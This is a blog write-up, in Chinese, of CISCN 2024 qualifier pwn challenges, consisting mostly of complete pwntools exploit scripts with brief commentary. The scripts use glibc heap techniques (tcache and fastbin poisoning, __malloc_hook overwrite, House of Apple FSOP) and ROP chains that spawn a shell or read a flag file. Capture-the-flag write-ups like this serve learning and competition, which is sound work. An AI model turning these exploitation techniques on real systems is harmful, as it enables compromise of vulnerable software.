ciscn2024初赛 PWN方向全wp

本文最后更新于:2024年5月28日 上午

0x00:写在一切之前

pwn 4/6

哎,平时摸的一切的鱼,都会在比赛的时候自食其果

被enllusion杀爆了呜呜呜😭😭😭😭,想当初鼠鼠还是和他基本在一个水平线上的呜呜

结果呢,努力的人去了N1,摆烂的人还在原地踏步

🤡

妈妈生的,emo完了也该骂骂这💩题了

去年protobuf出题了,今年还没完了是吧,两天都有

还有那j8 ptmalloc真的很好玩嘛?嗯?鼠鼠真的买不起house呜呜

0x01:抽象の赛题

gostack

经典go题,测个溢出,注意恢复一下栈上数据就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'

elf = ELF('./gostack')

flag = 1
if flag:
p = remote('8.147.133.80', 32778)
else:
p = process("./gostack")

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))


#0x0000000000414217: mov rdi, rax; mov rbp, qword ptr [rsp + 0x10]; add rsp, 0x18; ret;
magic = 0x414217
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
syscall = 0x00000000004616c9

# gdb.attach(p, "b *0x4a0a97\nc\n")
payload = b'a'*0x100
payload += p64(0xc000180000) + p64(0) + p64(0x4aa800) + p64(0x4df040) + p64(0xc000046d98)
payload = payload.ljust(0x1d0, b'a')
payload += p64(pop_rax) + p64(0x4a295a) + p64(magic) + p64(0)*3 + p64(pop_rax) + p64(2) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
payload += p64(pop_rax) + p64(3) + p64(magic) + p64(0)*3 + p64(pop_rax) + p64(0) + p64(pop_rsi) + p64(elf.bss(0x800)) + p64(pop_rdx) + p64(0x30) + p64(syscall)
payload += p64(pop_rax) + p64(1) + p64(magic) + p64(0)*3 + p64(pop_rax) + p64(1) + p64(syscall)
sla(b' :\n', payload)

p.interactive()

orange_cat_diary

2.23,好久没见了,改个topchunk size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'

libc = ELF('./libc-2.23.so')

flag = 1
if flag:
p = remote('8.147.133.80', 23833)
else:
p = process("./chal")

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def add(size, data):
sla(b':', b'1')
sla(b':', str(size).encode())
sa(b':\n', data)

def show():
sla(b':', b'2')

def delete():
sla(b':', b'3')

def edit(size, data):
sla(b':', b'4')
sla(b':', str(size).encode())
sa(b':\n', data)

sa(b'.\n', b'korey')

add(0x68,b'aaaa')
edit(0x70, b'b'*0x68 + p64(0xf91))

add(0x1000,b'aaa')
add(0xf60, b'a'*8)
show()
ru(b'a'*8)
libc.address = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c4b78
leak("libc", libc.address)

add(0x68, b'aaa')
delete()
edit(8, p64(libc.sym['__malloc_hook'] - 0x23))
add(0x68, b'aaa')
add(0x68, b'\x00'*0x13 + p64(libc.address + 0xf03a4))

sla(b':', b'1')
sla(b':', b'1')


p.interactive()

ez_buf(赛后)

👴是战犯,懒的逆结构体,结果发现10分钟就把结构体手搓出来了

然后打tcache bin管理器就行了

1
2
3
4
5
6
7
8
9
10
syntax = "proto3";

package heybro;
message heybro {
optional bytes whatcon=1;
optional sint64 whattodo=2;
optional sint64 whatidx=3;
optional sint64 whatsize=4;
optional int32 whatsthis=5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
import sys
import ctf_pb2

context.log_level='debug'
context.arch='amd64'

libc = ELF('./libc.so.6')
flag = 0
if flag:
p = remote('8.147.133.80', 23833)
else:
p = process("./chal")

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))


message = ctf_pb2.heybro()
payload = b''

def no_action(msg):
global payload
message.whattodo = 0
message.whatcon = msg
payload = message.SerializeToString()
p.sendafter(b'\n', payload)

def add(idx, msg):
global payload
message.whattodo = 1
message.whatidx = idx
message.whatcon = msg
payload = message.SerializeToString()
p.sendafter(b'\n', payload)

def delete(idx):
global payload
message.whattodo = 2
message.whatidx = idx
payload = message.SerializeToString()
p.sendafter(b'\n', payload)

def show(idx, msg ,size, this):
global payload
message.whattodo = 3
message.whatidx = idx
message.whatcon = msg
message.whatsize = size
message.whatsthis = this
payload = message.SerializeToString()
p.sendafter(b'\n', payload)


for i in range(9):
add(i, b'a'*8)


show(0,b'00000000', 8, 0x30)
ru(b'a'*8)
libc.address = u64(rc(6).ljust(8,b'\x00')) - 0x21ace0
leak("libc", libc.address)

delete(8)
show(8,b'00000000', 8, 0x30)
ru(b'Content:')
heap_base = (u64(rc(5).ljust(8,b'\x00')) << 12) - 0x5000


delete(7)
delete(6)
delete(5)
delete(4)
delete(3)
delete(2)
delete(1)
delete(0)
delete(1)

for i in range(7):
add(i, b'a')

add(7, p64((heap_base+0xe0)^((heap_base+0x2000)>>12)))

add(8, b'aaa')
add(8, b'aaa')
add(8, p64(0) + p64(heap_base+0x10))

pay = p64(0x0000000000000000) + p64(0x700070000)
pay = pay.ljust(0xa8,b'\x00')+p64(libc.sym['_IO_2_1_stdout_']) + p64(heap_base+0xc0) + p64(0)

no_action(pay)
pay = p64(0xfbad1887) + p64(libc.sym['_IO_2_1_stdout_']+131)*3 + p64(libc.sym['_environ']) + p64(libc.sym['_environ']+8)
pay += p64(libc.sym['_IO_2_1_stdout_']+131)*2 + p64(libc.sym['_IO_2_1_stdout_']+132)
pay = pay.ljust(0x60, b'\x00')

no_action(pay)
stack = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

pay = p64(stack - 0x608)
pay = pay.ljust(0x70,b'\x00')
no_action(pay)


leak("stack", stack)
leak("heap", heap_base)


pop_rdi = 0x000000000002a3e5 + libc.address
ret = 0x0000000000029139 + libc.address
pay =p64(0) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(ret) + p64(libc.sym['system'])
pay = pay.ljust(0x70, b'\x00')
no_action(pay)
p.interactive()

EzHeap

orw的有溢出的2.35

house of apple一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
import sys
import bookProto_pb2

context.log_level='debug'
context.arch='amd64'

libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote('8.147.131.196', 42913)
else:
p = process("./EzHeap")

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def add(size, data):
sla(b'>> ', b'1')
sla(b':', str(size).encode())
sla(b':', data)

def delete(idx):
sla(b'>> ', b'2')
sla(b':',str(idx).encode())

def edit(idx, size, data):
sla(b'>> ', b'3')
sla(b':',str(idx).encode())
sla(b':',str(size).encode())
sa(b':',data)

def show(idx):
sla(b'>> ',b'4')
sla(b':',str(idx).encode())

for i in range(9):
add(0x300, b'aaaa')

delete(1)
delete(2)
edit(0, 0x310, b'a'*0x308 + b'b'*8)
show(0)
ru(b'b'*0x8)
heap_base = u64(rc(5).ljust(8,b'\x00')) << 12


edit(0,0x310, b'a'*0x308 + p64(0x311))
add(0x300,b'aaa')
add(0x300,b'aaa')

for i in range(8):
delete(i)

for i in range(7):
add(0x300, b'aaa')

edit(0, 0x310, b'a'*0x308 + b'b'*8)
show(0)
ru(b'b'*0x8)

libc.address = u64(rc(6).ljust(8,b'\x00')) - 0x21ace0
leak("libc", libc.address)
edit(0,0x310, b'a'*0x308 + p64(0x311))

add(0x40, b'aaa')
add(0x40, b'aaa')
add(0x40, b'aaa')
add(0x40, b'aaa')
delete(11)
delete(10)
delete(9)

edit(7, 0x58, b'\x00'*0x48 + p64(0x51) + p64((libc.sym['_IO_list_all']-0x30)^((heap_base-0x2000)>>12)))

_IO_file_addr = heap_base + 0x1260
add(0x40, b'aaa')
add(0x40, b'\x00'*0x30 + p64(_IO_file_addr))

_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
setcontext = libc.sym['setcontext']

pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7
pop_rax = libc.address + 0x0000000000045eb0
ret = libc.address + 0x00000000000f9b02
syscall_ret = libc.address + 0x0000000000091316
magic = 0x0000000000167420 + libc.address

_fake_wide_data_addr = heap_base + 0xf50
rop_addr = heap_base+0xc40

_IO_file = p64(0) + p64(rop_addr)
_IO_file = _IO_file.ljust(0x28,b'\x00')
_IO_file += p64(1) + p64(0)
_IO_file = _IO_file.ljust(0xa0,b'\x00')
_IO_file += p64(_fake_wide_data_addr)
_IO_file = _IO_file.ljust(0xd8,b'\x00')
_IO_file += p64(_IO_wfile_jumps)
edit(1,len(_IO_file), _IO_file)

wide_data = b'\x00'*0xe0
wide_data += p64(_fake_wide_data_addr + 0xe0)
wide_data += b'\x00'*0x60 + p64(magic)
edit(2, len(wide_data), wide_data)

rop = b'flag\x00\x00'
rop = rop.ljust(0x20,b'\x00')
rop += p64(setcontext + 61)
rop = rop.ljust(0xa0,b'\x00')
rop += p64(rop_addr + 0xb0) + p64(ret)
rop += p64(pop_rdi) + p64(rop_addr)
rop += p64(pop_rsi) + p64(0)
rop += p64(pop_rax) + p64(2)
rop += p64(syscall_ret)
#read
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(rop_addr + 0x400)
rop += p64(pop_rdx_r12) + p64(0x50) + p64(0)
rop += p64(pop_rax) + p64(0)
rop += p64(syscall_ret)
#write
rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(rop_addr + 0x400)
rop += p64(pop_rdx_r12) + p64(0x50) + p64(0)
rop += p64(pop_rax) + p64(1)
rop += p64(syscall_ret)

edit(3, len(rop), rop)
leak("heap_base", heap_base)

sla(b'>> ', b'5')

p.interactive()

SuperHeap

哪个好人想出来的protobuf + base32 + base64

也是存在堆溢出,逆明白输入格式就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *
import sys
import base64
import bookProto_pb2

context.log_level='debug'
context.arch='amd64'
libc=ELF('./libc.so.6')
flag = 1
if flag:
p = remote('8.147.134.47', 38396)
else:
p = process("./SuperHeap")

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

message = bookProto_pb2.CTFBook()
payload = b''

def add(idx, title=b'', author=b'', isbn=b'',publish_data=b'', price = 0,stock = 0):
global payload
sla(b'> ', b'1')
sla(b': ', str(idx).encode())
message.title = base64.b64encode(title)
message.author = base64.b64encode(author)
message.isbn = base64.b64encode(isbn)
message.publish_date = base64.b64encode(publish_data)
message.price = price
message.stock = stock
payload = message.SerializeToString()
sla(b': ', base64.b32encode(payload))

def show(idx):
sla(b'> ', b'2')
sla(b': ', str(idx).encode())

def delete(idx):
sla(b'> ', b'3')
sla(b': ', str(idx).encode())

def search(data):
sla(b'> ',b'5')
sla(b': ', base64.b64encode(data))

def edit(idx, title=b'', author=b'', isbn=b'',publish_data=b'', price = 0,stock = 0):
global payload
sla(b'> ', b'4')
sla(b': ', str(idx).encode())
message.title = base64.b64encode(title)
message.author = base64.b64encode(author)
message.isbn = base64.b64encode(isbn)
message.publish_date = base64.b64encode(publish_data)
message.price = price
message.stock = stock
payload = message.SerializeToString()
sla(b': ', base64.b32encode(payload))

add(0, title=b'a'*0x20, author=b'b'*0x20, isbn=b'c'*0x20, publish_data=b'd'*0x20)
add(1, title=b'a'*0x20, author=b'b'*0x20, isbn=b'c'*0x20, publish_data=b'd'*0x20)
delete(1)
edit(0,publish_data=b'd'*0x68+b'e'*8)
show(0)

ru(b'e'*8)
heap_base = (u64(rc(5).ljust(8,b'\x00')) << 12) - 0x3000


edit(0,publish_data=b'\x00'*0x28 + p64(0x41) + p64(heap_base+0x37d0)+p64(heap_base+0x3800)+p64(heap_base+0x3830)+p64(heap_base+0x3860)
+b'\x00'*0x18 + p64(0x31))
# search(b'e'*8)

add(1, title=b'a'*0x20, author=b'b'*0x20, isbn=b'c'*0x20, publish_data=b'd'*0x20)
add(2, title=b'a'*0x30, author=b'b'*0x30, isbn=b'c'*0x30, publish_data=b'd'*0x30)
add(3, title=b'a'*0x30, author=b'b'*0x30, isbn=b'c'*0x30, publish_data=b'd'*0x30)
add(4, title=b'a'*0x30, author=b'b'*0x30, isbn=b'c'*0x30, publish_data=b'd'*0x30)
add(5, title=b'a'*0x30, author=b'b'*0x30, isbn=b'c'*0x30, publish_data=b'd'*0x30)
delete(5)
delete(4)
delete(3)
add(6, title=b'a'*0x420)

edit(2, publish_data=b'a'*0x78+b'z'*8)
show(2)

ru(b'z'*8)
libc.address = u64(rc(6).ljust(8,b'\x00')) - 0x21add0


edit(2,publish_data=b'\x00'*0x38 + p64(0x41) + p64(heap_base+0x3a50)+p64(heap_base+0x3a90)+p64(heap_base+0x3ad0)+p64(heap_base+0x3b10)
+b'\x00'*0x18 + p64(0x101))




add(3, title=b'x'*0x30, author=b'y'*0x30, isbn=b'z'*0x30, publish_data=b'1'*0x30)
delete(2)

edit(1,title=b'\x00'*0x28 + p64(0x41)
+p64(heap_base+0x3860) + p64(heap_base+0x3830) + p64(heap_base+0x3800) + p64(heap_base+0x37d0)
+ b'\x00'*0x18 + p64(0x41) + p64(heap_base+0x3910) + p64(heap_base+0x3950)+
p64(heap_base+0x3990) + p64(heap_base+0x39d0) + b'\x00'*0x18 + p64(0x41) + p64(libc.sym['_IO_list_all']^((heap_base+0x3000)>>12)))

pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7
pop_rax = libc.address + 0x0000000000045eb0
ret = libc.address + 0x00000000000f9b02
syscall_ret = libc.address + 0x0000000000091316
magic = 0x0000000000167420 + libc.address
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
setcontext = libc.sym['setcontext']

_fake_wide_data_addr = heap_base + 0x23b0
rop_addr = heap_base+0x2630

_IO_file = p64(0) + p64(rop_addr)
_IO_file = _IO_file.ljust(0x28,b'\x00')
_IO_file += p64(1) + p64(0)
_IO_file = _IO_file.ljust(0xa0,b'\x00')
_IO_file += p64(_fake_wide_data_addr)
_IO_file = _IO_file.ljust(0xd8,b'\x00')
_IO_file += p64(_IO_wfile_jumps)

wide_data = b'\x00'*0xe0
wide_data += p64(_fake_wide_data_addr + 0xe0)
wide_data += b'\x00'*0x60 + p64(magic)

rop = b'flag\x00\x00'
rop = rop.ljust(0x20,b'\x00')
rop += p64(setcontext + 61)
rop = rop.ljust(0xa0,b'\x00')
rop += p64(rop_addr + 0xb0) + p64(ret)
rop += p64(pop_rdi) + p64(rop_addr)
rop += p64(pop_rsi) + p64(0)
rop += p64(pop_rax) + p64(2)
rop += p64(syscall_ret)
#read
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(rop_addr + 0x400)
rop += p64(pop_rdx_r12) + p64(0x50) + p64(0)
rop += p64(pop_rax) + p64(0)
rop += p64(syscall_ret)
#write
rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(rop_addr + 0x400)
rop += p64(pop_rdx_r12) + p64(0x50) + p64(0)
rop += p64(pop_rax) + p64(1)
rop += p64(syscall_ret)

add(2,title=b'a'*0x30,author=b'b'*0x30)
add(4,title=p64(heap_base+0x3420)+b'\x00'*0x18 + p64(0xfbad2086)+p64(0),author=_IO_file,isbn=wide_data,publish_data=rop)
# gdb.attach(p)


leak("heap",heap_base)
leak("libc",libc.address)
sla(b'> ', b'6')
p.interactive()

vm(赛后remake from inkey)

inkey👴磕了一天终于出了,太tm顶了


ciscn2024初赛 PWN方向全wp
http://example.com/2024/05/22/ciscn2024-quals/
作者
korey0sh1
发布于
2024年5月22日
许可协议